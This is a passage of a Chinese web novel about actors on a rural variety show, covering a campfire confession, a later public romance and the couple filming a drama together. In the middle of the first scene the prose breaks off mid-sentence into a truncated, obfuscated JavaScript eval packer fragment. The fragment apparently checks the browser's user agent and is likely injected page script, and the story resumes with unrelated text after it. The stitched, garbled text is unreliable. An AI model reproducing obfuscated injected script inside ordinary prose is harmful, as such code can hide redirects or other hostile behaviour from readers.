许祭站在一旁，看着两人相拥的画面，嘴角勾起了一抹淡淡的笑意。他的眼神里没有丝毫的嫉妒，只有满满的欣慰和温柔。 陈杬祝和绫司司相视一笑，眼底满是开心。白菊则走上前，轻轻拍了拍黎洛祎的后背，语气里带着宠溺：“好了好了，别激动了，你的脸刚好，可不能太激动。” 江殇也走了过来，对着沈司南竖起了大拇指，语气里满是赞赏：“沈司南先生，你真的太厉害了！不仅懂得辨认草药，还懂得怎么使用，真是让人佩服！” 沈司南被众人夸得有些不好意思，他低下头，脸颊微微泛红，小声地说道：“这没什么，都是阿婆教我的。” 黎洛祎松开沈司南，却依旧拉着他的手，眼神里满是感激。她看着沈司南，认真地说道：“司南，你不仅救了我的脸，还救了我的职业生涯。我真的不知道该怎么感谢你才好。” “不用谢。”沈司南抬起头，露出了一个腼腆的笑容，“我们是朋友啊，朋友之间互相帮助是应该的。” 这句话瞬间戳中了黎洛祎的泪点，她的眼泪又忍不住掉了下来，不过这一次，是开心的眼泪。 当天晚上，七人围坐在院子里的石桌旁，吃着自己做的晚餐。桌子上摆满了各种各样的菜肴，有清炒野菜，有烤野兔，还有黎洛祎心心念念的枇杷糖水。 黎洛祎特意给沈司南夹了一块他最喜欢的糯米粑粑，那是陈杬祝特意为他做的。她看着沈司南，语气里满是感激：“司南，谢谢你今天救了我的脸，这个糯米粑粑给你，可好吃了。” 沈司南的眼睛瞬间亮了起来，他接过糯米粑粑，开心地咬了一大口。软糯香甜的糯米粑粑在嘴里化开，带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这段日子的相处，让陈杬祝对江殇有了全新的认知。荧幕上的他是雷厉风行的实力派男演员，可在这山野间，他却有着难得的细腻与温柔。他会在沈司南追着蝴蝶跑远时，默默跟在许祭身后帮忙留意；会在白菊和黎洛祎因为摘不到高处的野果而犯愁时，二话不说爬上树替她们采摘；会在她熬夜看剧本时，悄悄端来一杯温热的蜂蜜水，不说多余的话，只留下一个温和的眼神。 陈杬祝一直把这份好，归为前辈对后辈的照顾，归为朋友间的惺惺相惜。直到此刻，篝火旁的氛围渐渐安静下来，黎洛祎和沈司南的舞蹈也停了，所有人都开始分享起这段日子的收获与感动，她才隐约察觉到，有什么东西，正在悄然改变。 “我其实一直很羡慕司南的纯粹，也很佩服杬祝的坚韧。”江殇率先开口，声音被篝火烤得带着几分暖意，他先是看了看沈司南，又将目光转向陈杬祝，“这段时间，让我看到了很多荧幕之外的样子，也让我确定了一件事。” 他的话音刚落，周围的空气仿佛瞬间凝固了。黎洛祎下意识地捂住了嘴巴，白菊和绫司司也交换了一个惊讶的眼神。沈司南停下了摆弄熊猫玩偶的手，歪着头看向江殇，眼神里带着一丝困惑。许祭则微微皱起了眉头，目光在江殇和陈杬祝之间转了一圈，最终又落回了沈司南身上。 陈杬祝的心也跟着提了起来，她能感觉到江殇的目光正紧紧落在自己身上，那目光里有她从未见过的认真，还有一丝不易察觉的紧张。 江殇深吸了一口气，像是下定了巨大的决心。他缓缓站起身，走到陈杬祝面前，微微俯身，与她平视。篝火的光芒在他的瞳孔里跳跃，映得他的眼神格外灼热。 “杬祝，”他开口，声音比刚才更沉了几分，却带着一种不容置疑的坚定，“我认识你很久了，从你还是个初出茅庐的新人，到如今成为独当一面的实力派，我看着你一路披荆斩棘，看着你在质疑声中咬牙坚持，看着你把每一个角色都演绎得淋漓尽致。” “以前，我以为这份欣赏，只是对一个优秀后辈的认可，对一个敬业演员的尊重。”他顿了顿，喉结轻轻滚动了一下，似乎在组织着语言，“直到这次一起参加综艺，我才发现，我对你的感情，早就超出了朋友和前辈的界限。” 陈杬祝的瞳孔骤然收缩，她下意识地往后缩了缩身子，双手紧紧抱住了膝盖，心跳快得几乎要冲破胸膛。她看着江殇认真的脸庞，听着他一字一句的话语，脑子里一片空白，只剩下篝火噼啪的声响，和自己如擂鼓般的心跳。 “在山里的这些日子，我喜欢看你和绫司司聊起小说时，眼里闪烁的光芒；喜欢看你耐心教司南使用现代电器时，温柔的模样；喜欢看你在拍戏间隙，偷偷对着小号分享日常时，嘴角的笑意。”江殇的声音里带着一丝温柔的缱绻，“我喜欢的，不只是荧幕上那个光芒万丈的陈杬祝，更是这个在山野间，会笑、会闹、会疲惫、会脆弱的，真实的你。” “我知道，现在说这些可能很突然，也可能会让你感到困扰。”他的目光里闪过一丝忐忑，却依旧没有退缩，“我也知道，你身边有司南和许祭这样重要的人，你们之间的羁绊无人能及。但我还是想告诉你，我喜欢你，陈杬祝。不是前辈对后辈的喜欢，不是朋友对朋友的喜欢，是一个男人，对一个女人的，想要携手一生的喜欢。” 这番话像一颗投入平静湖面的巨石，瞬间在众人之间激起了千层浪。 黎洛祎的眼睛瞪得溜圆，手里的草环掉在了地上都浑然不觉。白菊轻轻拉了拉她的衣角，示意她不要出声，眼底却也满是惊讶。绫司司则紧紧握住了陈杬祝的手，指尖带着一丝冰凉，显然也被这突如其来的表白惊到了。 沈司南歪着头，看了看江殇，又看了看陈杬祝，似乎还没完全理解“喜欢”这两个字的含义。他拉了拉许祭的衣角，软糯的声音里带着一丝困惑：“许祭，江殇哥说的喜欢，和我喜欢杬祝姐，是一样的吗？” 许祭轻轻拍了拍他的头，声音平静却带着一丝不易察觉的复杂：“不一样。他的喜欢，是想要和杬祝姐一直在一起，像阿公和阿婆那样。” 沈司南似懂非懂地点了点头，不再说话，只是安静地看着陈杬祝。 篝火依旧在燃烧，可周围的空气却仿佛变得格外沉重。所有人的目光都落在了陈杬祝的身上，等待着她的回答。 陈杬祝深吸了一口气，努力让自己的心情平复下来。她缓缓抬起头，看向江殇，眼神里带着一丝歉意，却也无比坚定。 “江殇哥，”她开口，声音带着一丝不易察觉的颤抖，却依旧保持着冷静，“谢谢你。谢谢你这段时间对我的照顾，也谢谢你对我的欣赏和喜欢。” “但是，对不起。”她的话音刚落，江殇的眼神瞬间黯淡了下去，像被风吹灭的火焰。“我很珍惜我们之间的友谊，也很感激你对我的认可。但是，我对你的感情，一直都停留在前辈和朋友的层面。” “我身边确实有很重要的人，司南和许祭，他们是我生命中不可或缺的存在，我们之间的羁绊，是任何人都无法替代的。”陈杬祝的目光扫过沈司南和许祭，眼底满是温柔，“而且，我现在的重心，更多的是放在我的事业和我的生活上。我还没有准备好，开始一段新的感情。” 江殇沉默了许久，篝火的光芒映在他的脸上，明明灭灭。最终，他缓缓地笑了笑，只是那笑容里，带着一丝难以掩饰的苦涩。 “我明白了。”他开口，声音恢复了往日的平静，却依旧带着一丝失落，“对不起，是我唐突了，给你带来困扰了。” “没有。”陈杬祝摇了摇头，眼神里满是真诚，“我很感谢你能坦诚地告诉我你的心意。我希望，这件事不会影响到我们之间的友谊，也不会影响到接下来的录制。” “当然不会。”江殇点了点头，努力让自己的笑容看起来自然一些，“我会调整好自己的心态。我们依旧是朋友，是前辈和后辈。” 说完，他缓缓地走回了自己的位置，重新坐了下来，只是这一次，他没有再往火里添木柴，只是安静地看着跳动的火焰，不知道在想些什么。 气氛一时之间有些尴尬。绫司司连忙打圆场，笑着说道：“哎呀，时间不早了，我们要不要去看看星空？今天的星星好亮啊！” 白菊也立刻附和道：“对啊对啊！我听说山里的星空是最美的，我们一起去溪边看看吧！” 黎洛祎也连忙拉着沈司南的手，说道：“司南，我们去看星星吧！听说星星会实现愿望哦！” 沈司南点了点头，被黎洛祎拉着往溪边走去。许祭看了看陈杬祝，又看了看江殇，最终还是跟在了沈司南的身后。 陈杬祝看着众人离开的背影，又看了看身边沉默的江殇，轻声说道：“江殇哥，你还好吗？” 江殇摇了摇头，勉强笑了笑：“我没事。你不用觉得抱歉，感情的事情，本来就不能勉强。” “嗯。”陈杬祝点了点头，不再说话。 两人安静地坐在篝火旁，听着远处溪水潺潺的声响，和众人传来的欢声笑语。篝火的光芒渐渐微弱，火星子也越来越少。 过了许久，江殇突然开口：“杬祝，你放心，我不会因为这件事，就改变对你的态度。以后，我还是会像以前一样，照顾你，支持你。” “谢谢你，江殇哥。”陈杬祝的眼底满是感激。 这场突如其来的表白，就这样在平静中落下了帷幕。没有争吵，没有尴尬，只有一丝淡淡的失落，和一份依旧坚定的友谊。 第二天，录制依旧照常进行。江殇果然如他所说，调整好了自己的心态，依旧像以前一样，照顾着身边的人，只是他看向陈杬祝的眼神里，少了一丝灼热，多了一丝坦然。 陈杬祝也依旧和往常一样，和大家说说笑笑，只是偶尔在和江殇对视时，会有一丝不易察觉的尴尬，但很快就会被两人的默契所化解。 沈司南依旧像个无忧无虑的孩子，每天跟着许祭跑前跑后，偶尔会拉着陈杬祝的衣角，问她一些奇奇怪怪的问题。只是他似乎隐约感觉到了什么，不再像以前那样，经常缠着江殇问东问西。 许祭则依旧保持着他一贯的沉默，只是偶尔会在江殇和陈杬祝互动时，投去一个淡淡的眼神，却也没有多说什么。 白菊、黎洛祎和绫司司也很有默契地没有再提起那天晚上的事情，依旧和大家一起，享受着这最后的山野时光。 节目播出后，这段表白的片段瞬间引发了全网的热议。相关的话题迅速冲上了热搜榜首，后面跟着一个大大的“爆”字。 「我的天！江殇老师竟然向杬祝姐表白了！我真的被惊到了！」 「江殇老师的表白也太深情了吧！‘想要携手一生的喜欢’，谁听了不心动啊！」 「杬祝姐的回答也太得体了吧！既表达了自己的心意，又没有伤害到江殇老师的感情，还维护了两人之间的友谊！」 「虽然很磕江殇老师和杬祝姐的颜值，但是杬祝姐的选择是对的！她和司南、许祭之间的羁绊真的无人能及！」 「江殇老师的眼神也太让人心疼了吧！从灼热到黯淡，我的心都跟着揪起来了！」 「还好两人最后还是朋友！希望他们以后都能越来越好！」 网友们的评论五花八门，有磕两人CP的，有支持陈杬祝选择的，也有心疼江殇的。但无论如何，大家都对两人的坦诚和理智表示了赞赏。 江殇在自己的微博上，发了一条简短的动态：「山野间的时光，收获了友谊，也收获了成长。感谢相遇，未来可期。」 这条微博发出后，瞬间收获了无数的点赞和评论。粉丝们纷纷表示，会一直支持江殇，希望他能早日找到属于自己的幸福。 陈杬祝的大号没有对此事做出任何回应，只是依旧按照原计划，发布着自己的工作动态。而她的小号@一颗幸运草里，却多了一条关于这件事的动态。 她发了一张篝火旁的照片，照片里只有跳动的火焰和漫天的星辰，没有任何人。配文是：「山野间的风，吹过了心动，也吹过了坦诚。感谢每一份相遇，也珍惜每一份友谊。[心]」 这条动态发出后，评论区里瞬间被温暖的留言淹没。粉丝们纷纷表示，理解陈杬祝的选择，也会一直支持她。 「杬祝姐的小号又更新了！这句话说得太好了！」 「山野间的风，吹过了心动，也吹过了坦诚！真的太有感觉了！」 「感谢每一份相遇，也珍惜每一份友谊！杬祝姐的心态真的太好了！」 「我们的幸运草会一直守护着杬祝姐，支持她的每一个选择！」 山谷的最后几天录制，依旧充满了温馨和快乐。七人一起看日出，一起摘野果，一起做晚餐，一起聊未来。那段表白的小插曲，就像是一颗投入湖面的石子，虽然激起了千层浪，却最终还是归于平静，没有影响到七人之间的友谊。 收官的那天，七人站在溪边，看着漫山的枫叶，都有些不舍。 沈司南抱着熊猫玩偶，软糯的声音里带着一丝伤感：“以后，我们还能一起再来这里吗？” “当然可以。”陈杬祝摸了摸他的头，眼底满是温柔，“只要我们想，随时都可以。” 许祭点了点头，声音平静却坚定：“我陪你们。” 绫司司则笑着说：“下次一定要叫上我！我还想和你们一起摘野菜、喂兔子呢！” 江殇则看着陈杬祝，眼神里满是坦然：“如果你们来，我一定奉陪。” 白菊和黎洛祎也纷纷点头：“我们也是！” 太阳渐渐落下，将天空染成了一片橘红色。七人的身影被拉得长长的，映在清澈的溪水里，温馨而美好。 这段山野间的时光，不仅让他们收获了美景和美食，更收获了彼此之间的友谊和成长。那场突如其来的表白，虽然带着一丝遗憾，却也让他们更加懂得了珍惜眼前的人和事。 节目播出后，收视率再次创下了历史新高。观众们不仅被七人之间的温馨氛围所打动，也被江殇的坦诚和陈杬祝的理智所圈粉。 而陈杬祝和江殇之间的友谊，也并没有因为这场表白而受到影响。他们依旧会在工作中互相支持，在生活中互相问候。江殇也渐渐调整好了自己的心态，将那份喜欢，藏在了心底，变成了对陈杬祝最真挚的祝福。 窗外的夜色渐深，横店的灯火依旧璀璨。 陈杬祝靠在沙发上，手里拿着手机，看着小号里的照片和留言，眼底满是温柔。她的手腕上，蓝晶石手链泛着淡淡的光，怀里的平安蛊安静地躺着，书桌前的三叶草在微风中轻轻晃动。 她想起了在山谷里的那段时光，想起了江殇的表白，想起了自己的回答，想起了众人之间的温馨和快乐。 那段时光，虽然短暂，却充满了意义。它让她更加懂得了自己想要的是什么，也让她更加珍惜身边的人。 她知道，《山野间的时光》不仅是一档综艺，更是一段珍贵的回忆，一份深厚的友谊。 而她和沈司南、许祭、绫司司，以及江殇、白菊、黎洛祎之间的故事，也会因为这段回忆，变得更加牢固，更加美好。 这一切，都是最好的安排。 27. 表白 夜色漫过横店的影视城，将鳞次栉比的摄影棚轮廓晕染成深浅不一的墨色。陈杬祝刚结束一场通宵拍摄，卸了妆的脸颊带着几分倦意，却依旧难掩眼底的亮泽。保姆车里的暖气开得正足，她靠在椅背上，指尖反复摩挲着手机屏幕，上面是江殇几小时前发来的消息——【收工了吗？注意休息。】 屏幕的光映在她脸上，明灭不定。《山野间的时光》收官已经月余，可节目里的点点滴滴，却像被刻进了心底，尤其是篝火旁那场猝不及防的表白，江殇的声音带着篝火的温度，一字一句，都落在了她的心尖上。 她曾以为，自己对江殇的认知，只停留在“实力派前辈”“温柔的合作伙伴”这些标签上。可在山谷的那些日子里，她看他帮沈司南追蝴蝶时的耐心，看他替白菊和黎洛祎摘高处野果时的利落，看他在自己熬夜看剧本时，悄悄端来的那杯温热蜂蜜水，看他眼底藏不住的欣赏与温柔。 江殇的表白，像一颗石子，打破了她心底的平静。她曾犹豫，曾忐忑，怕这份感情会影响两人的事业，怕辜负了江殇的深情，也怕自己还没准备好。可这些日子以来，江殇的尊重与克制，让她渐渐明白，有些心动，是藏不住的。 她深吸一口气，像是下定了某种决心。指尖在屏幕上飞快地跳动，编辑着一条微博。没有华丽的辞藻，没有刻意的煽情，只有最真挚的心意。 她附上了一张照片——那是在《山野间的时光》录制时，江殇站在漫山的红叶中，侧头看向镜头，嘴角带着淡淡的笑意。阳光透过红叶的缝隙，落在他的发梢，镀上了一层温暖的金边。 点击发送的那一刻，陈杬祝的心跳快得几乎要冲破胸膛。她放下手机，靠在椅背上，闭上眼睛，脑海里全是江殇的模样。 不过十分钟，手机的震动声就密集得像鼓点。她睁开眼，点开微博，那条刚刚发出的动态，已经被顶到了热搜榜首，后面跟着一个刺眼的“爆”字。 微博内容很简单，只有一句话，却足以引爆全网： 【江殇，我喜欢你。不是前辈对后辈的欣赏，不是朋友对朋友的惺惺相惜，是想要和你一起看遍山川湖海，共度岁岁年年的喜欢。@江殇】 评论区瞬间炸开了锅，点赞和转发的数量以肉眼可见的速度飙升。 「我的天！这是什么惊天大瓜！杬祝姐竟然主动向江殇老师表白了！我没看错吧！」 「谁懂啊！篝火旁江殇老师的表白还历历在目，现在杬祝姐的回应来了！双向奔赴啊！」 「《山野间的时光》这是什么神仙综艺！从素人组的守护到明星组的双向奔赴，我磕的CP都成真了！」 「杬祝姐的勇气也太让人佩服了！主动表白，这才是独立女性的爱情观吧！」 「江殇老师快回应啊！我已经搬好小板凳，准备看甜甜的爱情了！」 「有没有人注意到照片！那是在山谷的红叶林里拍的！氛围感拉满了！」 「之前还在猜两人的关系，现在好了，直接官宣！我要去放烟花庆祝！」 陈杬祝的粉丝、江殇的粉丝，还有《山野间的时光》的节目粉，瞬间涌入评论区，将这条微博的热度推上了顶峰。相关的词条#陈杬祝表白江殇# #江殇陈杬祝 双向奔赴# #山野间的时光神仙综艺# 也迅速占领了热搜前排。 陈杬祝没有理会手机里的震动，只是安静地靠在椅背上，看着窗外飞逝的夜景。她不知道江殇看到这条微博会是什么反应，也不知道外界的声音会如何评价这段感情，可她不后悔。 就在这时，手机屏幕亮起，是江殇的来电。陈杬祝的心跳漏了一拍，她深吸一口气，按下了接听键。 “杬祝。”江殇的声音从电话那头传来，带着一丝不易察觉的颤抖，却依旧温柔，“你说的，是真的吗？” “是真的。”陈杬祝的声音也带着一丝紧张，却无比坚定，“江殇，我喜欢你。从山谷里的那些日子开始，我就喜欢你了。” 电话那头沉默了片刻，随即传来江殇低沉而愉悦的笑声，那笑声里，满是压抑不住的喜悦和激动。“我等这句话，等了很久了。” “那你……”陈杬祝的话还没说完，就被江殇打断。 “我当然愿意。”江殇的声音带着一丝急切，却无比认真，“杬祝，我愿意和你一起看遍山川湖海，共度岁岁年年。” 陈杬祝的眼眶瞬间红了，眼泪像断了线的珠子一样掉下来，却带着开心的笑容。“太好了。” “傻丫头。”江殇的声音温柔得能滴出水来，“别哭，我马上过去找你。” 挂了电话，陈杬祝的心情久久不能平静。她看着窗外的夜景，嘴角的笑容怎么也藏不住。 没过多久，江殇的微博也更新了。他转发了陈杬祝的那条微博，附上了一张两人在《山野间的时光》里的合照——陈杬祝坐在篝火旁，嘴角带着淡淡的笑意，江殇站在她身后，目光温柔地落在她的身上。 他的配文很简单，却充满了爱意： 【余生漫漫，皆是你。@陈杬祝】 这条微博发出后，瞬间引爆了全网。评论区里，粉丝们的祝福像潮水一样涌来。 「我的天！江殇老师回应了！双向奔赴啊！我哭了！」 「余生漫漫，皆是你！这句话说得太好了！太甜了！」 「照片里的氛围感拉满了！江殇老师的眼神里全是爱意！」 「杬祝姐和江殇老师一定要幸福啊！我磕的CP终于成真了！」 「《山野间的时光》绝对是今年的最佳综艺！没有之一！」 「从节目里的惺惺相惜到现实中的双向奔赴，这是什么神仙爱情故事！」 沈司南、许祭、绫司司、上官渡、白菊、黎洛祎等人，也第一时间在评论区送上了祝福。 沈司南：「杬祝姐！江殇哥！祝你们永远幸福！」 许祭：「祝福。」 绫司司：「我的天！杬祝姐你也太勇敢了！祝你们甜甜蜜蜜！」 上官渡：「恭喜。」 白菊：「杬祝，江殇，一定要幸福啊！」 黎洛祎：「杬祝姐！江殇老师！太甜了！祝福你们！」 陈杬祝的小号@一颗幸运草里，也多了一条动态。她发了一张保姆车窗外的夜景照片，配文：「夜色温柔，星光璀璨，今日份小幸运，是心动的回应。[心]」 这条动态发出后，评论区里瞬间被粉丝的暖心留言淹没。 「呜呜呜！杬祝姐的小号又更新了！这句话说得太好了！」 「夜色温柔，星光璀璨，心动的回应！太甜了！」 「今日份小幸运，是看到杬祝姐和江殇老师双向奔赴！」 「我们的幸运草会一直守护着杬祝姐，也会一直守护着这份美好的爱情！」 半个小时后，江殇的车停在了陈杬祝的保姆车旁。他推开车门，快步走到陈杬祝的车边，敲了敲车窗。 陈杬祝按下车窗，抬头看向江殇。路灯的光线落在他的脸上，勾勒出他温柔的轮廓。他的手里拿着一束娇艳的红玫瑰，花瓣上还带着晶莹的露珠。 “杬祝。”江殇的声音温柔得能溺死人，他将手里的红玫瑰递给陈杬祝，“送给你。” 陈杬祝接过红玫瑰，鼻尖萦绕着淡淡的花香。她抬头看向江殇，眼底满是笑意。“谢谢。” 江殇伸出手，轻轻握住陈杬祝的手，指尖的温度透过皮肤传递过来，带着一丝温暖。“我带你去一个地方。” 陈杬祝点了点头，跟着江殇下了车。两人手牵手，走在横店的街道上。夜晚的街道很安静，只有路灯的光线，温柔地笼罩着他们。 江殇带着陈杬祝，来到了附近的一个小公园。公园里的长椅上，铺着一层柔软的毛毯。江殇牵着陈杬祝的手，坐在长椅上。 “你怎么知道我喜欢这里？”陈杬祝看着江殇，眼底满是疑惑。 “我问过你的助理。”江殇的声音带着一丝笑意，“她说你累的时候，喜欢来这里看星星。” 陈杬祝的心里涌起一股暖流，她靠在江殇的肩膀上，抬头看向天空。夜空中，繁星点点，璀璨夺目。 “你看，今天的星星真亮。”陈杬祝的声音带着一丝温柔。 “嗯。”江殇低头看向陈杬祝，眼底满是爱意，“不过，在我眼里，你比星星更亮。” 陈杬祝的脸颊瞬间泛红，她轻轻捶了捶江殇的肩膀，却带着满满的幸福。“你真会说。” 江殇笑了笑，紧紧地握住陈杬祝的手。“我说的是真的。” 两人坐在长椅上，肩并肩，看着夜空中的繁星。没有过多的话语，却有着说不尽的温柔。 时间过得很快，不知不觉间，天已经蒙蒙亮了。第一缕阳光透过云层，洒在大地上，给万物镀上了一层金色的光晕。 江殇低头看向陈杬祝，她靠在自己的肩膀上，已经睡着了。长长的睫毛像两把小扇子，轻轻颤动着。他的嘴角勾起一抹温柔的笑意，小心翼翼地将她抱在怀里，动作轻柔得不像话。 “杬祝，醒醒。”江殇的声音温柔得能滴出水来，“太阳出来了。” 陈杬祝缓缓睁开眼睛，看到江殇温柔的眼神，眼底满是笑意。“早。” “早。”江殇低头，在陈杬祝的额头上印下一个轻柔的吻，“我们一起去看日出吧。” 陈杬祝点了点头，靠在江殇的怀里，抬头看向东方。太阳缓缓升起，将天空染成了一片橘红色。光芒万丈，照亮了整个世界。 “真美。”陈杬祝的声音带着一丝感叹。 “嗯。”江殇的目光落在陈杬祝的脸上，眼底满是爱意，“不过，在我眼里，你比日出更美。” 陈杬祝的脸颊再次泛红，她紧紧地抱住江殇，声音里满是幸福。“江殇，我好喜欢你。” “我也是。”江殇紧紧地回抱住陈杬祝，声音里满是坚定，“我会一直喜欢你，直到永远。” 太阳越升越高，将温暖的阳光洒在两人身上。他们相拥在晨光中，仿佛要将彼此揉进自己的骨血里。 这段突如其来的表白，这场双向奔赴的爱情，像一道光，照亮了彼此的生命。 陈杬祝和江殇的恋情，并没有因为公开而受到影响。相反，他们的粉丝都很支持这段感情，纷纷表示，会一直守护着他们。 两人依旧在各自的事业上努力着，却也会在忙碌的间隙，抽出时间陪伴彼此。他们会一起去看电影，一起去吃美食，一起去看遍山川湖海。 《山野间的时光》的节目组，也特意制作了一期特别节目，回顾了七人在山谷里的点点滴滴，尤其是陈杬祝和江殇的心动瞬间，以及沈司南和许祭的双向守护。节目播出后，收视率再次创下了历史新高。 窗外的阳光透过玻璃洒进来，落在陈杬祝和江殇相握的手上，镀上了一层金色的光晕。陈杬祝靠在江殇的肩膀上，嘴角挂着甜甜的笑容。江殇低头看着她，眼底的温柔，能溺死人。 她知道，这段感情，才刚刚开始。而她和江殇的未来，一定会像这初升的太阳一样，光芒万丈，温暖而美好。 深秋的影视城被一层薄雾裹着，摄影棚内的灯光却亮得晃眼。《配角人生》的剧本围读会刚结束，陈杬祝捏着印着“林春夏”的角色卡，指尖划过那行“花店老板娘，温柔坚韧，是男主落魄时的短暂光亮”，抬眼就撞进江殇的目光里——他手里的“嵇司屿”角色卡，备注栏写着“失意画家，沉默寡言，与林春夏在巷尾花店相遇，成为彼此生命里的过客”。 这是他们公开恋情后合作的第一部剧，没有万众瞩目的主角光环，只有两个在剧本里占了不到十页纸的配角情侣。导演拍着桌子强调：“林春夏和嵇司屿，是整部剧的底色。他们的爱不是轰轰烈烈，是冬夜里的一碗热汤，是下雨天的一把伞，是注定要走散，却在彼此心里留了一辈子的痕迹。” 第一场戏，定在影视城深处的一条复古巷弄。巷尾的“春夏花店”挂着褪色的木牌，玻璃橱窗里摆着刚醒的洋桔梗和小雏菊。陈杬祝穿着浅杏色的棉布裙，挽着发髻，正蹲在门口修剪玫瑰的枝叶，指尖沾着细碎的露水。 脚步声由远及近，带着几分迟疑。她不用抬头，就知道是江殇来了。镜头里的嵇司屿穿着洗得发白的牛仔外套，头发凌乱，背着一个画筒，手里攥着一张皱巴巴的纸币。他站在花店门口，半天没出声，直到陈杬祝抬眼，露出林春夏标志性的温柔笑容：“先生，要买花吗？” 江殇的喉结滚了滚，将嵇司屿的窘迫与无措演绎得淋漓尽致。他的声音沙哑，带着几分不确定：“我……我只有五块钱，能买什么？” 陈杬祝放下剪刀，起身走到他面前，目光落在他画筒上露出来的画纸一角——那是一片灰蒙蒙的天空，连飞鸟都带着疲惫。她转身从橱窗里挑了一支向日葵，用牛皮纸简单包好，递到他手里：“五块钱，买一支向日葵吧。你看，它永远朝着太阳。” 江殇的手指触到她的指尖，片场的寒意瞬间被驱散。他低头看着那支金灿灿的向日葵，眼底的阴霾渐渐散开，露出一丝微弱的光亮：“谢谢。” “不客气。”陈杬祝靠在门框上，看着他抱着向日葵站在原地，像是找到了方向，“你是画家吗？我看你背着画筒。” 江殇点了点头，声音里带着几分自嘲：“算是吧。只是画的东西，没人喜欢。” “那你可以画我的花啊。”陈杬祝的笑容更暖了，“巷口的阳光很好，我的花也很好看。你可以在这里画，我不收你钱。” 导演在监视器后满意地点头，喊了“卡”。陈杬祝还没从林春夏的状态里抽离，江殇已经伸手替她拂去了发间的一片落叶，声音里带着戏外的温柔：“林老板，你的花，比剧本里写的还要好看。” 陈杬祝笑了，抬手拍了拍他的画筒：“嵇画家，你的画，也一定会被人喜欢的。” 接下来的戏份，几乎都在这条巷弄里。嵇司屿每天都会来花店，有时买一支花，有时只是站在门口画画。林春夏会给他端上一杯温水，有时是一块刚烤好的饼干。他们很少说话，却有着旁人无法企及的默契。 一场雨夜的戏，让整个剧组都捏了一把汗。剧本里写着，嵇司屿的画终于被画廊看中，他要离开这座城市了。那天晚上下着大雨，他撑着一把黑色的伞，站在花店门口，看着里面还在忙碌的林春夏。 陈杬祝穿着同一件浅杏色棉布裙，只是头发散了下来，脸上带着几分倦意。她听到脚步声，抬头看到嵇司屿，愣了一下，随即露出笑容：“今天怎么带伞了？” 江殇的伞檐压得很低，遮住了大半张脸，只露出紧抿的唇。他的声音被雨声模糊，却带着清晰的不舍：“我要走了。” 陈杬祝手里的喷壶“啪”地掉在地上，水花溅湿了她的裙摆。她弯腰去捡，手指却在发抖。她抬起头，努力挤出笑容，却红了眼眶：“好事啊。你的画，终于被人看到了。” “我来跟你告别。”江殇往前走了一步，伞的边缘落在她的头顶，替她挡住了飘落的雨丝，“我本来想，等我成功了，就回来找你。可是我发现，我好像……等不及了。” 陈杬祝的眼泪终于掉了下来，顺着脸颊滑落，混着雨水，分不清哪滴是雨，哪滴是泪。她摇了摇头，声音哽咽：“你走吧。你的未来在远方，不该被我困在这条巷弄里。” “林春夏。”江殇的声音带着一丝急切，他伸出手，想要握住她的手，却又在半空中停住，“我会回来的。” “不用了。”陈杬祝往后退了一步，躲进了花店的阴影里，“嵇司屿，你要记得，永远朝着太阳走。就像你手里的向日葵一样。” 江殇站在雨中，看着花店的门被缓缓关上，将他的目光隔绝在外。他撑着伞，在雨里站了很久，直到伞骨都被风吹得发颤。 导演喊“卡”的时候，陈杬祝还在哭。江殇立刻收了伞，快步走到她身边，将自己的外套披在她身上，轻轻拍着她的后背：“好了好了，戏结束了。” 陈杬祝靠在他的怀里，抽噎着说：“林春夏好可怜啊。她明明那么喜欢嵇司屿，却要放他走。” “可是嵇司屿会回来的。”江殇的声音温柔得能滴出水来，“戏里的嵇司屿可能会犹豫，但戏外的江殇，永远不会让陈杬祝等。” 片场的工作人员都笑着转过头，不去打扰这对沉浸在戏里戏外的情侣。 最后一场戏，是五年后。嵇司屿果然回来了，成了小有名气的画家。他依旧穿着那件牛仔外套，只是头发梳得整齐，手里拿着一幅画。 巷尾的“春夏花店”还在，木牌被重新漆过，橱窗里的花依旧开得鲜艳。陈杬祝坐在门口的摇椅上，怀里抱着一本旧书，阳光落在她的脸上，温柔得像一幅画。 江殇走到她面前，轻声说：“老板娘，我要买一幅画。” 陈杬祝抬起头，看到他，眼睛瞬间亮了。她放下书，笑着说：“先生，我这里卖花，不卖画。” “可这幅画，是专门给你的。”江殇将手里的画递到她面前，画上是巷尾的花店，门口站着一个穿浅杏色棉布裙的女人，正低头修剪玫瑰，阳光落在她的发梢，镀上了一层金色的光晕。 画的右下角，写着一行小字：致我生命里的光，林春夏。 陈杬祝的手指拂过画纸，眼泪再次掉了下来，却带着开心的笑容。她抬头看向江殇，声音里满是温柔：“欢迎回来，嵇司屿。” “我回来了，林春夏。”江殇伸出手，紧紧握住了她的手，“这一次，我不会再走了。” 导演喊“杀青”的那一刻，整个摄影棚都沸腾了。陈杬祝和江殇相视一笑，眼底的温柔，藏不住的爱意。 《配角人生》播出后，收视率一路飙升。观众们被主角的跌宕起伏吸引，却也被林春夏和嵇司屿这对配角情侣打动。 「谁懂啊！林春夏和嵇司屿的爱情，才是整部剧的意难平！」 「向日葵的花语是沉默的爱！嵇司屿拿着向日葵的时候，我就知道他动心了！」 「雨夜告别那场戏，我哭成了泪人！林春夏明明那么喜欢，却要放他走！」 「还好最后嵇司屿回来了！不然我真的要给导演寄刀片！」 「陈杬祝和江殇的演技也太好了吧！完全看不出是在演戏，这就是爱情本身啊！」 「果然是真情侣！连眼神里的爱意都藏不住！」 陈杬祝的微博上，发了一张她和江殇在“春夏花店”门口的合照，配文：「林春夏等到了嵇司屿，陈杬祝也等到了江殇。」 江殇转发了这条微博，配文：「余生漫漫，皆是你。」 沈司南、许祭、绫司司等人也纷纷在评论区送上祝福。 沈司南：「杬祝姐！江殇哥！你们演得太好了！我和许祭都看哭了！」 许祭：「恭喜杀青。」 绫司司：「我的天！这对配角情侣也太好磕了吧！祝你们永远幸福！」 陈杬祝的小号@一颗幸运草里，也多了一条动态。她发了一张向日葵的照片，配文：「向日葵永远朝着太阳，而我永远朝着你。今日份小幸运，是戏里戏外，都有你。[心]」 这条动态发出后，评论区里瞬间被粉丝的暖心留言淹没。 「呜呜呜！杬祝姐的小号又更新了！这句话说得太好了！」 「向日葵永远朝着太阳，而我永远朝着你！太甜了！」 「戏里戏外都有你！这是什么神仙爱情啊！」 